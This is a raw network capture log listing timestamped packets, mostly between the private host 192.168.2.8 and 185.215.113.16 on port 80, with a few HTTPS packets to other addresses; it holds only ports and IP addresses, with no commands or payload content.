Nov 23, 2024 21:15:30.194597960 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.194614887 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.199448109 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.199517012 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.199534893 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.199714899 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.204303026 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.204360008 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.204399109 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.204449892 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.209182024 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.209203005 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.209264040 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.213958979 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.214067936 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.214099884 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.214133978 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.218983889 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.219063997 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.219068050 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.219136000 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.223697901 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.223748922 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.223762989 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.223788023 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.228529930 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.228665113 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.228718042 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.233376980 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.233448982 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.233509064 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.233814955 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.238241911 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.238308907 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.238363981 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.238405943 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.240475893 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.240495920 CET	443	49724	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.243069887 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.243122101 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.243204117 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.243264914 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.247950077 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.248025894 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.248091936 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.248159885 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.252799034 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.252852917 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.252918959 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.253014088 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.257620096 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.257684946 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.328984022 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.329037905 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.329091072 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.329127073 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.331374884 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.331422091 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.331578970 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.336206913 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.336951971 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.362832069 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.362920046 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.362924099 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.363569975 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.364789009 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.364880085 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.364945889 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.368733883 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.369573116 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.370162010 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.370300055 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.370362043 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.374092102 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.374186039 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.374259949 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.378043890 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.378093004 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.378123999 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.378336906 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.381937027 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.382049084 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.382117987 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.385854959 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.385917902 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.385997057 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.386240959 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.389398098 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.389442921 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.389481068 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.389575005 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.392992020 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.393131018 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.393192053 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.396152020 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.396198988 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.396250963 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.396292925 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.399576902 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.399673939 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.399703026 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.399764061 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.403039932 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.403062105 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.403086901 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.403111935 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.406443119 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.406511068 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.406609058 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.406771898 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.409866095 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.409940958 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.410001993 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.410108089 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.413228035 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.413336992 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.413413048 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.416604042 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.416666985 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.416771889 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.416851044 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.420043945 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.420084953 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.420104980 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.420130014 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.423490047 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.423536062 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.423592091 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.426827908 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.426877975 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.426975965 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.427035093 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.430267096 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.430356026 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.430576086 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.430643082 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.433655024 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.433697939 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.433700085 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.433780909 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.437016010 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.437062979 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.437093019 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.437118053 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.440634966 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.440728903 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.440778017 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.440912008 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.443914890 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.443960905 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.444106102 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.444169998 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.447360992 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.447567940 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.447582960 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.447751999 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.450632095 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.450675964 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.450709105 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.450757980 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.454067945 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.454125881 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.454379082 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.454502106 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.457636118 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.457710028 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.457725048 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.457827091 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.460895061 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.461083889 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.461182117 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.461448908 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.464277983 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.464298010 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.464348078 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.467746019 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.467793941 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.467833996 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.467916965 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.471048117 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.471071959 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.471183062 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.474441051 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.474498987 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.474558115 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.477797985 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.477844000 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.576318026 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.576358080 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.576415062 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.577657938 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.577768087 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.577807903 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.581017971 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.582241058 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.582293987 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.582362890 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.583765984 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.585676908 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.585735083 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.585793972 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.588298082 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.588931084 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.588970900 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.588994026 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.591176987 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.591217041 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.591259003 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.591757059 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.592649937 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.592766047 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.592812061 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.594110012 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.594221115 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.594222069 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.594496965 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.595582962 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.595702887 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.595747948 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.597052097 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.597187996 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.597229958 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.598490000 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.598577023 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.598614931 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.599947929 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.600064039 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.600121021 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.601496935 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.601583004 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.601635933 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.602886915 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.602993011 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.603003979 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.603383064 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.604346037 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.604406118 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.604499102 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.604557991 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.605840921 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.605895042 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.605938911 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.605986118 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.607336044 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.607526064 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.607585907 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.607738018 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.608766079 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.608845949 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.608886003 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.610217094 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.610263109 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.610336065 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.610582113 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.611700058 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.611823082 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.611844063 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.612025976 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.613162041 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.613213062 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.613240957 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.613257885 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.614618063 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.614684105 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.614743948 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.614785910 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.616096973 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.616238117 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.616666079 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.617563009 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.617679119 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.617733955 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.619019032 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.619117022 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.619152069 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.619175911 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.620503902 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.620600939 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.620645046 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.621962070 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.622042894 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.622086048 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.623403072 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.623526096 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.623573065 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.624891043 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.625046968 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.625086069 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.626359940 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.626482964 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.626528025 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.627831936 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.628040075 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.628093958 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.629290104 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.629412889 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.629455090 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.630748987 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.630866051 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.630913973 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.632261992 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.632401943 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.632462025 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.633671999 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.633776903 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.633824110 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.635133982 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.635209084 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.635240078 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.635276079 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.636677980 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.636789083 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.636843920 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.638091087 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.638185978 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.638200045 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.638219118 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.639549017 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.639632940 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.639640093 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.639942884 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.640997887 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.641123056 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.641129017 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.641309977 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:30.641318083 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.641371965 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:30.642539024 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.642599106 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.642643929 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.643054962 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:30.643064022 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:30.643336058 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:30.643951893 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.644016981 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.644062996 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.644701958 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:30.644809961 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:30.644814968 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:30.645399094 CET	80	49728	185.215.113.16	192.168.2.8
